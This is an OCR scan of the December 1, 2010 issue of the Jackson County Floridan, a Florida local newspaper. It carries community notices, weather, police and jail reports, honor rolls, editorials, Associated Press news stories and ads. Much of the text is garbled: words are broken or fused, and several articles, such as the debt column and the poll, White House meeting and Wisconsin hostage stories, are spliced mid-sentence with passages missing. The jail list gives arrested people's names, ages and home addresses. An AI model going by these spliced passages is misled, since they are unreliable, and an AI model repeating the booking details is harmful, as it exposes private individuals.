open ,for parking all day, and people are encour- aged to bring their lawn chairs to enjoy the parade. There will be an inflat- able slide and pony rides for children downtown, along with arts and crafts, food and pictures with Santa Claus at the gazebo. The pictures with Santa begin at 2 p.m. To help a fundraising project for Newspapers In Education, each photo sitting will be $10. Santa waves to the crowd as he brings the 2009 Marianna Christmas Parade to a close. Mark Skinner/Floridan This Newspaper Is Printed On Recycled 8 ' Newsprint 7 65161 80050 9 Follow us Facebook Twitter M L Curtis Rogers Jimmy Parrs MichaelJohn CHEVROLET-BUICK 0 | I CADILLAC-NISSAN ,n 4204 Lafayette St. Marianna, FL i ' SUsed Car Manager; Sales Manager Sales Manager BusinessManager 4 1 a I- ---I I, 2A Wednesday, December 1, 2010 Jackson County Floridan Weather Outlook Sunny and much colder. Today -Justin Kiefer / WMBB . High 55 S Low -30' .. High 580 Low 340 Tomorrow Chilly start. Sunny, cool day. - 'High 640 Low 400 Saturday Mostly sunny and mild. High 63 Low 360 Friday A bit warmer. High 660 .j -,w -48 Sunday Partly cloudy with warmer temps. Panama City Apalachicola Port St. Joe Destin Pensacola W AKE-UP CALL SHigh: 54 S.. Low: 29 High: 56 SLow: 27 High: 56 Low: 30 lS~trt.'Jr '.*9. r High: 55 Low: 30 High: 5X Low: 35 LjLLL' ,, l PRECIPITATION 24 hours Month to date Normal MTD 0.03" 5.58" 4.12" L-C .ul.l -u2,ill- High: 56 Low: 29 *1 'I t1 t-.1i* .t L-^- S Hih: 57 Lo wi : 39 High: 59 Lo%: 36 Year to date 40.91" Normal YTD 54.38" Normal for year 58.25" TIDES High High High High High RIVER READINGS Woodruff Blountstown Marianna Caryville Reading 40.72 ft. 2.65 ft. 5.12 ft. 2.85 ft. Flood Stage 66.0 ft. 15.0 ft. 19.0 ft. 12.0 ft. ULTRA VIOLET INDEX 0-2 Low, 3-5 Moderate, 6-7 High, 8-10 Very High, 11+ Extreme THE SUN AND MOON Sunrise Sunset Moonrise Moonset 6:21 AM 4:39 PM 1:59 AM 1:30 PM Dec. Dec. Dec. Dec. 5 13 21 28 Low - Low - Low - Low - Low - FLORIDA'S 'REAL PANHANDLERS JAOU0.9 MEDIA PARTNERS wjAooo10- -,.: .Tf i L--' r*' L1l, --. ..I ,- -- Lr,: 11C i. .' :t-LL ai -,ij JUL.."- :,LQ GOs.), noon toments served. No charge. Call 482- 9124. The Chipola Healthy Start Board of Directors meets 10 a.m. at the Russ House in Marianna. Immediately following is the annu- al Coalition meeting, noon at Jim's Buffet & Grill. Call 482-1236.-32S-2660, ext. 427, or visit college.edu.. Th ubisondalieo ti alnlr sno awbqfre1ulia~on ~bii o,-Cmm.ztyClndi Jcsn onyglrdaP0.B.52,Mrina FL324, -mi eitra1jclricmcql fx(80)8-47 o bigiem o.40 o stftin aei Mrana MARIANNA POLICE The Marianna Police Department listed the fol- lowing incidents for Nov. 29, the latest available I report: One .. ,. accident with injury, one 'CRIME a c c id e n t *e c . without injury, one missing juvenile, one suspicious vehicle, one suspicious incident, four suspicious persons, one information report, one bur- glary, one verbal distur- bance, 14 traffic stops, one criminal mischief com- plaint, three trespassing complaints and three follow up investigations. JACKSON COUNTY SHERIFF'S OFFICE The Jackson County Sheriff's Office and county Fire/Rescue reported the following incidents for Nov. 29, the latest available report (Some of these calls may be related to after-hours calls taken on behalf of Graceville and Cottondale Police Departments): One missing adult, two stolen vehicles, one suspicious incident, one mental illness, one burglary, two verbal dis- turbances, 13 medical calls, POLICE ROUNDUP one traffic crash, one drug overdose, four burglar alarms, two shooting in the area calls, 12 traffic stops, one drag' racing, one obscene or threatening calls, one juvenile complaint, one assist of a motorist or pedes- trian, three transports and one patrol request. JACKSON COUNTY CORRECTIONAL FACILITY The following persons were booked into the coun- ty jail during the latest reporting period: Mary Brogdon, 19. 557 Hill Lane, Marianna. pos- session stance. of controlled sub- Addis Cooper, 19, 2822 Davies St., Marianna, robbery, battery. Richard May, 51, 6202 Cypress Point Drive. Panama City, burglary. '- Angela Taunten, 35. 4101 Clay St., Marianna, seven counts of worthless checks. -Steven Green, 49, 4138 Herring Ave., Marianna. DUI. Orville Nunley. 58, 431(0 Highway 77, Graceville, burglary, grand theft, criminal mischief. Timothy Burnett. 39, 2742 Brightwell Ave., Marianna, grand theft. Ryan Massey, 19, 4760 Crescent Lane, Marianna, knowingly driving with license suspended or revoked. Jason Anderson, 34, 5233 N.W. County Road 274, Altha, violation of county probation. JAIL POPULATION: 199 To report a crime, call CrimeStoppers at 526- 5000. To report a ,Idhit violation, call 1-888-404- FWCC (3922). EAM RAHAL MILLER 'Chevrolet-Buick-Cadlillac-Nissan 4204 Lafayette St. Marianna, FL T (850) 482-3051 Chad Oliver Danny Barfield Team Sales Team Sales Lee Miichell Team Sales Team Sales 1 0 Community Calendar Leroy Boone Wes Poilston Team Sales ,LSTEN .p FOR HURLY EATHE- ........ ... j 5:27 1:37 6:00 6:33 6:30 ~9Lh1~; LOCAL Jackson County Floridan Wednesday, December 1, 2010 3AF Dayspring Christian Academy honor roll SPECIAL TO THE FLORIDAN Dayspring Christian Academy recently announced their honor rolls for the first nine-week term. First Grade A Honor Roll Hayes Austin, Lindsey Blaylock, Garrison Glass and Mark Knowles. A/B Honor Roll Bud Basford, Sara Castleberry, Evan Dean, Jacob Ford, Syler Griffin, Jerron Hall, Madison Harper, Reagan Reed, Kaitlyn Strickland, Daniel Stoutamire, Amory Watterson, Willa Wester and Dylan Ziglar. Second Grade A Honor Roll Brody Alday, Melanie Canada, Kahlan Hall, Victoria Jakelsky, Alana Kerr, Chase Maddox, Rebecca Mercer, Cole Nobles, Charity Peterson, McKenzie Grace Shields, Ashbey Woodall and Whitnie Yoder. Third Grade A Honor Roll Caden Akerson, Annika Beebe, Caroline Bishop, Megan Blaylock, Izec Isabella, Dalton Jones, Ben Knowles, Coleman Marcus, Paige McKinnie, Wilton Pittman, Christopher Rhodes, Noah Shores, Abbi Watson and Anslie Yoder. A/B Honor Roll Faith Castleberry, Taylor Green, Wyatt Laramore, Kinsley Mercer and Nathan Shumaker. Fourth Grade A Honor Roll Zachary Ford, Elijah Isabella, Jonah Mercer and Amanda Shields. A/B Honor Roll Corey Akerson and Garrett Ziglar. Fifth Grade A Honor Roll Cassie Brown and Ethan Sapp. A/B Honor Roll Tyler Justiss, Henry Knowles, Kayla McKinnie, Gunnar Nebel, Len Nobles, Lance Peterson, Olivia Wester, Mack Williams and Nathalie Yoder. Sixth Grade A Honor Roll Jonathon Long, Ryan Redfern and Joshua Wynn. A/B Honor Roll Marcus Bishop. Seventh Grade A/B -Honor Roll Kalvin Peterson and Carylee Sapp. Eighth Grade A Honor Roll John Metzler and Jodie Sanders. College Night is Dec. 6 at Marianna High School SPECIAL TO THE FLORIDAN grams of study and schol- arships available. Marianna High School's Separate sessions are Junior/Senior College scheduled for juniors and Night is 5:30-8 p.m. seniors. Monday, Dec. 6. College representatives College Night is an will be in the Marianna opportunity for students High School cafeteria to and their parents to learn provide information and about postsecondary pro- materials to students and their parents. An informa- tional session concerning graduation requirements, dual-enrollment, Bright Futures and more will be presented simultaneously in the media enter. For more information, please contact Marianna High School at 482-1317. Resurfacing of County Road 1 0A is now under way SPECIAL TO THE FLORIDAN According to the Florida Department of Transportation, a $245,000 design-build project to resurface County Road 10A (Old Cottondale Road) in Jackson County begins the week of Nov. 29. Capital Asphalt Inc. of Tallahassee will resurface the road from U.S. Highway 90 to Penn Avenue, add pavement markings, and perform minor drainage improve- ments. Motorists can expect intermittent lane closures, the FDOT said in a press release. Motorists are reminded to use caution and obey traffic flaggers while traveling through work zone. For more informa- tion, call 888-638-0250 ext. 208. JCSO teaches Altrusa about gangs Donna Rogers, Altrusa International of Marianna program sponsor, left, and Altrusa Vice President Kathy Milton, right, welcome Cory McByar of the Jackson County Sheriff's Office, guest speaker at the Nov. 22 Altrusa meeting. McByar pre- sented a program on gangs how they work and how many are in Jackson County and surrounding areas. Contributed photo Free health clinic open Saturday SPECIAL TO THE FLORIDAN Alford Community Health Clinic will be open from 10 a.m. to 2 p.m. Saturday, Dec. 4. ACHC is a free clinic for patients who do not have medical insurance and who meet federal income guidelines. The clinic is staffed by quali- fied physicians, nurses and courteous assistants dedi- cated to providing quality health care to those with short-term illnesses, as well as chronic conditions. Appointments are avail- able by telephoning 850- 263-7106 or 209-5501, and walk-ins are always welcome. All patients are urged to sign in before noon. The clinic is located at 1770 Carolina Street, two blocks east of U.S. 231 in Alford, DCA learns about fighting fire Marianna Fire and Rescue's Brent Caraway and Taylor Parker pay a visit to Dayspring Christian Academy. There they taught students in Kim Redfern's K3, Vickey Conyer's K4, Melissa Yount's K5 and Lecheal Blaylock's K5 about fire fight- ing. Contributed photo Six nights to see. the lights at the Winter Wonderland Express SPECIAL TO THE FLORIDAN- Veterans Memorial Railroad Club announces the Seventh Annual Winter Wonderland Express. Twvo- foot gauge train rides begin Saturday, Dec. 11 at Veterans' Memorial Park in Bristol, following the Lights of Liberty Christmas Parade. This year, the Winter Wonderland Express one- mile route through the park promises to be bigger and better than ever. Decorations are being pre- pared by businesses, county offices and other volunteers, with many new scenes and lighted sites being designed and installed. Local church- es, including the Blountstown River Town Community Church, are set to participate in a live nativ- ity scene and Santa's work- shop. The red, white and blue diesel replica is scheduled to run six nights for families in the community and sur- rounding areas. The 1952 restored Crown coal-fired steam locomotive will also run on two of the scheduled nights, as a special attrac- Free info session to focus on adoption, foster care SPECIAL TO THE FLORIDAN Life Management Center will be offering a free informational session to those individuals and couples who have a desire to learn more about expanding their current family in a foster care or adoption capacity. This session will take place on Tuesday, Jan. 18, 2011, 6 p.m. at the Life Management Center on 4403 Jackson St. in Marianna. There will also be a free training course that begins the following week, to prepare individuals and couples to care for the community's most vulnerable children who have a need for a loving and structured home. If you have an interest in attending or just want to learn more about Foster Care or Adoption, you are encouraged to call Lauryn Helm toll free at 1-866- 769-9481 anytime or e-mail at lhelm@lifemanagement center.org. tion for those who like to ride the "real thing," a one- third of the size steam engine. The Winter Wonderland Express runs Saturday, Dec. 11 (following Christmas Parade) and Friday, Dec. 17 through Tuesday, Dec. 21. The first train departs the new depot/museum at 6:30 p.m. EST. The steam train will be featured Saturday, Dec. 18, and Tuesday, Dec. 21. Cost is $3 per person (free for children 5 and under). For more informa- tion, call 643-6646 or 643- 5491. MARRIAGES, DIVORCES REPORT FOR Nov. 22-26. Marriages Kena Delee Hartzog and John Lawrence Nelson. Dalton Craig Crose and Michelle April Ruiz. Justin David Birge and Kari Danielle Strickland. Hillary Kay Hughes and Harris Weller Turner. Jordyn Ashlee Folsom and Jeremia Clinton Kelly. Divorces Nikki Delois Jones vs. John Rayne Jones. Ollie B. Debose vs. Joseph Bryan Debose. Cynthia Casey vs. Ronnie E. Casey. Trisha Elizabeth Carter vs. John A. Carter. Brian Michael Irons vs. Amanda Lynn Irons. Carrie Tharpe vs. Jeffery W. Tharpe. Mary Ellison Mistrot vs. Luther Scott Mistrot. Lindsey A. Escoriaza vs. Lawrence Escoriaza. New Little Miss Marianna crowned m m- -m - FLORIDA LOTIERY C a, Mon. (E) Mon. (M) Tue. (E) Tue. (M) Wed. (E) Wed. .(M) Thurs. (E) Thurs. (M) Fri. (E) Fri. (M) Sat. (E) Sat. (M) Sun. (E) Sun* (M) 11/29 0-3-3 2-4-2 11/30 2-5-5 7-9-8 11/24 6-0-4 6-9-8 11/25 6-5-4 5-5-8 11/26 8-0-6 2-6-7 11/27 3-9-6 2-2-5 11/28 2-9-7 3-9-6 1-4-6-0 2-7-7-4 2-3-2-0 6-3-9.-5 1-9-0-8 1-3-4-5 3-6-4-8 6-6-1-8 9-8-0-3 3-6-0-9 3-0-4-8 1-1-7-7 7-9-4-8 0-1-5-7 1-11-32-33-36 Not available 5-7-10-16-19 6-22-24-26-27 8-10-12-15-21 3-7-14-22-29 3-12-15-23-26 E = Evening drawing, M = Midday drawing Is O RA Saturday 11/27 Wednesday 11/24 10-30-37-47-54 8-20-21-32-37 PB 39 PPx5 PB 4 PPx3 Saturday 11/27 19-23-26-28-49-52 xtra 5 Wednesday 11/24 15-29-37-40-42-43 xtra 3 For lottery information, call (850) 487-7777 or (900) 737-7777 Kinsey Smith, front, is crowned Little Miss Marianna by Miss Marianna Sierra Cutchin, back right, with the assistance of Junior Miss Marianna Madison Zimmerman. Kinsey, initially first runner-up in the pag- eant, recently took over as. Little Miss Marianna when, according to pageant organizers, the original winner was unable to complete her reign due to a conflict of interest. Kinsey is the daughter of Julie and Stephen Smith. Contributed photo IVIWUL. .nnIMaiA. INV LIUI l ] Bfly ingf BOPEN NIGHTLY - Friay ftr Tansgiin GOLD STIMULUS WE BUY GOLD (Paid on the Spot!) SMwiT1t 4432 Lafayette Street 526-5488 .JEWELERS e Multi- Million Dollar Producer Ura MOCK, URI Broker/Associate Call Ora For All your Real Estate Needs In Florida And/Or Alabama! Cell: 850-526-9516 f1 as Office: 850-526-5260 E-Mail: oramock@embarqmail.com 4257 Lafayette St., Marianna, FL I 4A- Wednesday, December 1, 2010 Jackson County Floridan EDITORIAL FLOOR DAN Publisher: Valeria Roberts Managing Editor: Michael Becker Our. Opinion A gleam of light? After hearing for nearly a year that the recession is over, it's possible the first glimmers of recovery are visible here in Jackson County. As we reported last week, local merchants reported better than expect- ed sales on Black Friday. Better still, those sales exceeded the numbers for last year. And while unemployment isn't where it was a few years ago, the overall trend has been down in recent months. It may be too early to break out the champagne, but the signs are looking less ominous. As we've noted before, there are more businesses opening their doors, in downtown Marianna and elsewhere. When entrepreneurs express a willingness to invest their own money in a business venture, that's a good thing. When several do it at the same time, that's even better. This past weekend, American Express and a number of other com- panies touted "Small Business Saturday" the idea being that con- sumers should support their local busi- nesses the day after Black Friday. If the recovery here in Jackson County is to last, every Saturday needs to be "Small Business Saturday." CONTACT YOUR REPRESENTATIVE Florida Legislature Rep. Marti Coley, R-District 7 Marti.Coley@myfloridahouse.gov 319 The Capitol 402 South Monroe St. Tallahassee, FL 32399-1300 (850) 488-2873 1650 Summit Lake Drive, Suite 103 Tallahassee, FL 32317 (850) 561-3979 Sen. Bill Nelson (D) United States Senate 716 Senate Hart Office Building Washington, DC 20510 (202) 224-5274. NRA fights to allow gun sales to youths BY DAN K. THOMASSON WASHINGTON A few days ago, two teenagers in Washington, D.C., completed their homework and headed off to buy candy bars to mark the accomplishment. On their way, they were talking and laughing together when they were shot, one fatally and the other critically. The attack was carried out by other teenagers who were gathered at a street corner, heard the laughter and decided spontaneously and with no other provocation that the laughter was aimed at them, an intolerable show of disre- spect in their eyes. As the news report said, "out came the guns" and another tragedy was perpetrated in a scenario of violence that has become almost mundane and monoto- nous in its repetition. Now we learn that the National Rifle Association has filed two lawsuits in federal court in Texas to overturn the longtime federal ban on hand- gun sales to people under 21 and to overturn a Texas law that restricts the carrying of con- cealed weapons to 21-year-olds. In other words, the gun lobby has decided it is appro- private for juveniles to go armed to the teeth in public places despite overwhelming statistics that show that 18- to 20-year-olds are responsible for a disproportionate amount of the gun violence. At the same time, the NRA, which represents gun manu- facturers and sellers under the guise of defending 'the rights of those who buy them, is once again hamstringing the agency dedicated to helping keep the nation's streets safe for those who do not wish to own or carry guns by bringing some sanity to the enormous traffic in firearms. The NRA has flexed its muscle in Congress to oppose once again the confirmation of a permanent director of the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF) despite the undeniable qualifications of the nominee for the job, Andrew Traver. He had the audacity to associate with a police chief's group working toward reducing hand gun usage on city streets, a position obviously unaccept- able to the NRA. Apparently, that opposition will prevail as it has in the past, revealing what has long been evident - that the gun lobby and not the American people own the Congress lock, stock and bar- rel. Perhaps at no time in the history of the Republic has one special interest had so much legislative influence. What the NRA wants it usual- ly gets from the fear-driven toadies in the House and Senate where opposition to it is regarded as political suicide no matter how rational the proposal and the motivation for it. It is a national disgrace. Adding weight to that com- plete subservience to the gun lobby's irrational demands and opposition to any regulation of its industry, of course, was the 5 to 4 decision of the U. S. Supreme Court to validate individual gun ownership as a constitutional right no matter how disruptive, and with very little apparent thought to pub- lic safety. The court did give a nod to the importance of the sick idea of safe streets by leaving the door open a crack for certain restrictions like age and mental capacity and so forth, all of which the NRA opposes. There is every reason to believe that those who oppose the unfettered traffic in guns outnumber those who do not. But compared to the hugely financed NRA, the anti-gun lobby is a eunuch. The group founded by former White House Press Secretary James Brady, wounded in the attempted assassination of President Ronald Reagan, apparently exists somewhere out there but has little or no clout. And other gun control organizations are rarely heard from. Certainly, those who espouse the causes of sanity in firearm control don't seem to receive much acknowledgment from these groups. Meanwhile, going to the store to buy a candy bar with a pal after studying is an increasingly dangerous activi- ty. If the NRA has its way, that area of violence in our urban sprawl will get much larger with innocent children the vic- tims of gang and individual crime. Until communities, where funerals for teenagers and bystanders gunned down in the streets are an almost daily event, stand up and say enough, there is little or no hope things can get much bet- ter. Obama must scare Americans over debt BY MORTON KONDRACKE, follow- ing that advice, Truman deliv- ered a speech to a joint session of Congress that persuaded a penny-pinching, isolationist- inclined Republican Congress that Ainerica's well-being required spending $400 million to begin fighting what became the Cold-War. In 2010, it's clear to practi- cally biparti- san pact to cut spending, raise revenue and reform the tax sys- tem would inspire such renewed confidence in the U.S. economy and political system that now-uncertain lenders would lend, employers would hire and foreigners would regain respect for America. On the "scare" side, the authors of two new commis- sion United States pres- sure Congress to extend the Social Security retirement age to 69 (in 2075), limit Medicare payments, cut the defense budget by $100 billion a year, cap the mortgage interest deduction at $500,000 and raise gasoline taxes? If the latest Wall Street Journal/NBC poll is any indi- cation, deduc- tions and changes in the corpo- rate tax rate. As matters now stand, Republicans and many tea party enthusiasts seem to think that deficits and the national debt can be controlled simply by eliminating earmarks or by cutting domestic discretionary spending of the kind Congress votes on each year. But earmarks spending sponsored by individual mem- bers of Congress amount to only $18 billion a year, and domestic discretionary spend- ing accounts for only 15 per- cent of all federal spending. The lion's share is "manda- tory", outgo- ing Speaker Nancy Pelosi, D- Calif., declared it "unaccept- able" because it relied too much (75 percent) on spending cuts and not enough (25 per- cent) on tax increases. But according to the Congressional Budget Office, in 2020 federal revenues will represent 19.6 percent of gross domestic product compared with the historic average of 18 percent and spending will be 25.2 percent, whereas the his- toric average is 20 percent. So what will it take to con- vince the public? Debt com- missions com- mission, dol- lar plunging overseas, which could trigger runaway inflation and still higher interest rates. "Rising debt and rising inter- est costs could evolve into a 'death spiral,' with the two feed- ing off each other in an ever more vicious cycle," they said. It would be a "catastrophe." It's scary, all right. But somebody's got to describe it in such graphic terms as to "scare the hell" out of the nation. -1 L 1 I ii I ' I I lr I -I -I i rl i r Jackson County Floridan Wednesday, December 1,2010* J5A I ____- I WEJ3 SE l ' / [Sfliaa^ lf(M L R" 0^^ Grocery --e Outlet Family Pack Ground Beef ............... 143 I lb. 16 oz., Tennessee Pride 36 oz., Southern Quality Roll $ 199 Sausagep Sausage............. Patties.............. Blackwell Angus (Sliced Free) Boneless Rib Eye Loins ...... Farmland Seasoned St. Louis Style Ribs ................ 20 pak Coca Cola Products ....... $554lb. .. $290lb. $440 2.5 lb. pkg. Gwaltney Twin $ 95 Pack Bologna... 12 oz., Gwaltney Apple Wood or Brown Sugar $1 98 Bacon............... 5 lb. bag Fully Cooked $ 00 Hot Wings.... 3 lb. box Hinsdale $405 Corn Dogs......... 1/2 gallon 14 oz. Blue Bell $ 3 90 velveeta Ice Cream ....... Shells & Cheese.. Malt-O-Meal Tootie $245 Fruities... .. 40oz. 10.5 11 oz. Lay's Potato Chips.. $252 6 pack 3 oz. Maruchan Ramen Noodles . 10 oz., Idohoan Supreme Instant Potatoes.......... 99< 32 oz. Jim Dandy Grits................. 86< 48 oz. Crisco 7 3 Oil................. Fresh Express Crisp Italian or American Salad ... 10 oz. Florida Sweet White or Yellow Corn............ear 28 I $424 $171 MO MONAM L Michigan Fresh Lar Red Delicious: 75VZ. Vine A POS Tomat 5 1b. bag -- CI sC I r -- I p I L = ~- --- - -- I I $247 $197 6A Wednesday, December 1, 2010 Jackson County Floridan NATION New poll BY ALAN FRAM AND JENNIFER AGIESTA ASSOCIATED PRESS WASHINGTON To ease surging budget deficits, Americans prefer cutting federal services to raising taxes by nearly 2-1 in a new poll. Yet there is little consen- su's on specific, meaningful steps - and a wariness about touching two gargantuan programs, Social Security and Medicare. An Associated Press-CNBC Poll showed widespread anxiety about budget shortfalls exceeding $1 trillion a year. Eighty-five per- cent worry that growing red ink will harm future generations - the strongest expression of con- cern since AP polls began asking the question in 2008. Fifty-six per- cent think the shortfalls will spark a major economic crisis in the coming decade. As for detailed cures, the poll shows little agreement a prob- lem that has long bedeviled law- makers who often speak about taming federal deficits but seldom vote to do so. Given more than a dozen options for helping balance the budget, majorities backed just four: Reduce the number of feder- Cut services to balance the budget al workers, trim their salaries, cut overseas military bases and elimi- nate the tax deduction on home mortgage interest in exchange for lower income tax rates. "I'm sure there's waste some- where," said Terri Davis, 44, a travel company employee from Ashburn, Va. "But I like a lot of government programs that keep order in the streets, that do research about what's dangerous. A lot of things are worthwhile." Budget deficits have been win- ning increased attention from President Barack Obama and con- gressional Republicans, who will control the House next year and wield increased clout in the Senate. Despite their midterm election victory, the GOP holds only a slight edge in trust on the issue, with 1 in 8 offi- cials has released its own budget- balancing plan. Asked to choose between two paths for balancing the budget, 59 percent in the AP-CNBC Poll pre- ferred cutting unspecified govern- ment services while 30 percent picked unspecified tax increases. Republicans leaned heavily toward service reductions while Democrats, usually staunch advo- cates of federal spending, were about evenly split between the two alternatives. The results underscored the political peril legislators face in considering tax boosts, especially with the struggling economy, ram- pant joblessness and ascendant tea party supporters insisting Washington is too powerful. "We've got an awfully big gov- ernment and a lot of waste," said Jackie Hallock, 53, a writer from Pawleys Island, S.C. "I think we should cut taxes, not raise taxes. They're already too high.". If there's a ray of hope for poli- cymakers, it's the expectation many have for a broadly aimed deficit-reduction effort. Asked to consider each budget- balancing strategy separately, nearly two-thirds said tax increas- es said spending cuts and higher taxes will be need- ed. "The deficit is so immense, it's going to take a combination of things," said Mark Price, 52, a retiree from Roseville, Mich. Whatever path is chosen, 54 percent want the burden shared evenly; 38 percent want the wealthiest to bear the biggest bur- den. Even so, the public is not bris- tling to tackle the deficit. Of seven issues tested, the deficit was even with taxes as fifth most mentioned, well behind the economy. Forty-seven percent said the deficit should be reduced with spending cuts even if new education, health and energy pro- grams were eliminated, while 46 percent said those programs should grow even if the red ink expands. ben- efits. Most oppose raising the retirement age even if done gradu- ally over the next 65 years. . Clear majorities oppose elimi- nating. Obama, GOP optimistic after post-election meeting BYJIM KUHNHENN ASSOCIATED PRESS WASHINGTON - Reaching no quick fixes, President. Barack Obama and Republican leaders in Congress on Tuesday vowed to seek a compro- mise on their sharply differ- ent views about tax cuts before year's end. "The American people did not vote for gridlock," Obama said following the session. "They did not vote for unyielding partisanship. They're demanding cooper- ation and they're demand- ing progress and they'll hold all of us, and I mean all of us, accountable." There was no consensus on whether to keep Bush era tax cuts in place for the middle class and wealthy alike. But the eight biparti- san congressional leaders and the president agreed to break through their differ- ences by appointing a work- ing group to negotiate a tax cut agreement. The president appointed Treasury Secretary Timothy Geithner and budget direc- tor Jacob Lew to the group while party leaders will appoint their own represen-. tatives. Obama said he expects to hear back from them within the next few days. The meeting lasted two hours, one hour longer than originally planned. The first 90 minutes included con- gressional aides, but Obama and the elected officials retreated into the presi- dent's private dining room for a more intimate 35 min- utes of discussion. The president said that while differences remain over how to address the expiring tax cuts, there was "broad agreement" that both parties can work together to resolve the issue. "We agreed that there must be some sensible com- mon ground," Obama said. Obama said he also planned to hold more ses- sions with lawmakers, a point .that Rep. Eric Cantor of Virginia took note of and applauded. "I was encour- aged by the president's remarks regarding his per- haps espe- cially .pleased Senate Majority Leader Harry Reid, D-Nev., who pointed out that in his 28 years in Congress he had never been to the presidential retreat in the mountains of northern Maryir- ing tax cuts and pending spending legislation before tackling other issues. He also said the GOP remains "100 percent" against any tax increases and said they oppose any policy of leav- ing tax cuts in place for middle class people while raising rates for the wealthy. House Speaker-in-wait- ing John Boehner called it a "nice meeting," but said the hard work of achieving bipartisan agreement still lies ahead. While Obama called the meeting extremely civil, he also spoke of the political realities that often emerge from such meetings how the leaders of both parties typically fall back on talk- ing points, go before the cameras, try to win the news cycle and paint the other side as unyielding and uncooperative. "I think there was recog- nition today that that's a game we can't afford. Not in these times," Obama said. "In a private meeting that I had without staff - without betraying any con- fidences I was pleased to see several of my friends in the room say, 'Let's try not to duplicate that.'" Wis. gunman dies from self-inflicted gunshot wound BY TODD RICHMOND ASSOCIATED PRESS MAR hold- ing- ers trapped in the classroom worked desperately to keep their captor calm by chatting and laughing with him about hunting and fishing. Student hostage Zach Campbell said the gunman seemed depressed, but he didn't think he meant his class- mates mys- I tery," Skorik said. "We have not been able -to identify anything that precipitated this incident." Skorik said the suspect fired three shots immediate- ly rest- room, and when he returned he was carrying the duffel bag containing the two guns and ammunition, Baneck said. It wasn't until more than two hours later that the prin- cipal learned that neither the teacher nor any of the stu- dents from the class had been seen, Skorik said. He went to investigate and was threatened by the shooter to "get out of here," Skorik said. Lambie said the class- room projec- tor, then fired a second round. President Barack Obama makes a statement in the Eisenhower Executive Office Building, on the White House campus' in Washington, Tuesday, Nov. 30, about his meeting today with Republican and Democratic Congressional leaders. AP Photo/J. Scott App white M. .... 850 482 403- vwww wason ewelers, Cor Marinette High School principal Corry Lambie talks Tuesday Nov. 30 in Marinette, Wis. about how a stu- dent. AP Photo/Mike Roemer Dr John W. Kurpa . The Area's ONLY t supported, and we can fix that! We Now Have The AssociateM. . '. Jackson County Floridan Wednesday, December 1, 2010 7A Pennekamp Park marks 50th anniversary BY SUZETTE LABOY ASSOCIATED PRESS KEY LARGO, Fla. Fifty years after it was designated the first underwater park in the U.S., John Pennekamp Coral Reef State Park looks much like it did when it was founded: Tropical fish swim through the coral reef and kayak- ers can still get lost in the maze of mangrove swamps. And that's no small feat, consid- ering five decades of development that have changed the face of Florida, and the decline of coral reefs around the globe due to ocean warming and other factors. Concerns about conserving the reef here began in the late 1950s, when researchers and preserva- tionists realized that because of increases in tourism and the coral souvenir trade, the coral reefs were in danger of being destroyed. The park, named for a Miami Herald editor who helped spear- head centu- ry. Driving the roughly 60 miles from Miami today along U.S. 1, "you can get a feel for what it was like in the early 1900s when peo- ple." In this 1966 photo released by the Florida Park Service via the Florida Keys News Bureau, John Pennekamp, second from left, is shown an underwater camera at his namesake John Pennekamp Coral Reef State Park in Key Largo, Fla. Standing with Pennekamp are, from left, former assistant park superintendent Johnny Johnston, Pennekamp, former district supervisor Ellison Hardee, and former park manager Joe Fredricks. AP Photo/Florida Keys News Bureau, Florida State Park Service Ellison Hardee, the park's first manager, was 25 when he started at Pennekamp in 1963. He remem- bers, includ- ing-bot- tom boat. High-speed, air-condi- tioned catamarans with windows in the floor offer daily trips to the reef from the park, and snorkeling and scuba boat tours are offered daily as well. Sponges, shrimps, crabs, turtles, lobsters and hun-. dreds forma- tions. mark- .er 102.5 on U.S. 1. Drive about three hours farther south and you'll hit Key West. The road is lined with scuba and snorkel gear shops, stores selling fishing equip- ment and restaurants serving the catch of the day. There are also other state parks and wildlife sanc- tuaries to visit. Pennekamp will celebrate its 50th anniversary by hosting sever- al events including a. snorkeling tournament, an environmental cleanup, an underwater rededica- tion ceremony and an educational expo from Dec. 1-11. Local retail shops, dive and snorkel operators, restaurants and hotels will have special offers and prices. If You Go... John Pennekamp Coral Reef State Park: Key Largo, Fla., at mile marker 102.5 on U.S. 1, roughly 60 miles south of Miami. * g/pennekamp/ *Open daily year-round. Entrance fees: $8 per car, plus 50 cents per person. *Information about glass-bot- tomed boat ($24) and snorkel boat tours ($30, equipment charge extra): 305-451-6300. Park information: 305-451- 1202. In this Sept. 12, 2010, photo released by the Florida Keys News Bureau, Katherine Wieland, left, and Cody Wagner, right, snorkel over the "Christ of the Abyss" statue, an underwater statue at John Pennekamp Coral Reef State Park off Key largo, Fla. AP Photo/Florida Keys News Bureau, Stephen Frink TIPS... If you dive or snorkel near the reef, remember that touching the reef, standing on the reef, and col- lecting coral are all prohibited. Workers to shoulder health care cost increase THE ASSOCIATED PRESS ORLANDO, Fla. - con- sulting company, found 43 percent plan to increase their employees' share of premiums. Also, 43 percent said they will raise workers' deductibles, co-payments, coinsurance or out-of- pocket maximums, while another 16 percent said they'll find some other way to shift the cost to employees. Scott names 2 Florida economic transition teams THE ASSOCIATED PRESS TALLAHASSEE, Fla. - Governor-elect Rick Scott has named 75 people from the private and pub- lic sectors to a pair of tran- sition teams that will focus on Florida's econo- my. Scott said the panels appointed Monday will begin looking for ways to expand business in Florida to meet his goal of creat- ing 700,000 new jobs in seven years. That's beyond the mil- lion additional jobs expected from the state's economic recovery in that span. South Florida business- man Wayne Huizenga Jr. is chairing a team that will concentrate on economic development. A panel focused on reducing government reg- ulation is headed by Chris Corr, executive vice presi- dent with AECOM, a worldwide architectural and engineering firm, and a former Disney and St. Joe Co. executive. 36 school districts violate Fla. class size limits The Associated Press TALLAHASSEE, Fla. - Slightly more than half of Florida's 67 school dis- tricts could face fines for violating state class size limits. Ed u c a t i o n Commissioner Eric Smith on Tuesday notified offi- cials in 36 districts that they are out of compliance. Statewide 44,556 of 812,483 traditional public classrooms, or 5.5 percent, had too many students. Also, 44- of 454 charter schools were in violation. The caps are 18 students in kindergarten through third grade, 22 in fourth OBITUARIES James & Sikes Funeral Home Maddox Chapel 4278 Lafayette St. Marianna, FL 32446 482-2332 funeralhomes.com Hazel Inez Ray Hazel Inez Ray, 79, died Tuesday, Nov. 30, 2010, at Jackson Hospital in Ma- rianna. Arrangements will be an- nounced later by James & Sikes Funeral Home Mad- dox Chapel. Marianna Chapel Funeral Home 3960 Lafayette St. Marianna, FL 32446 526-5059 Mrs. Moats will be 2 p.m. Thursday, Dec. 2, in the Marianna Chapel Funeral Home, with Minister Alvin Roberts and 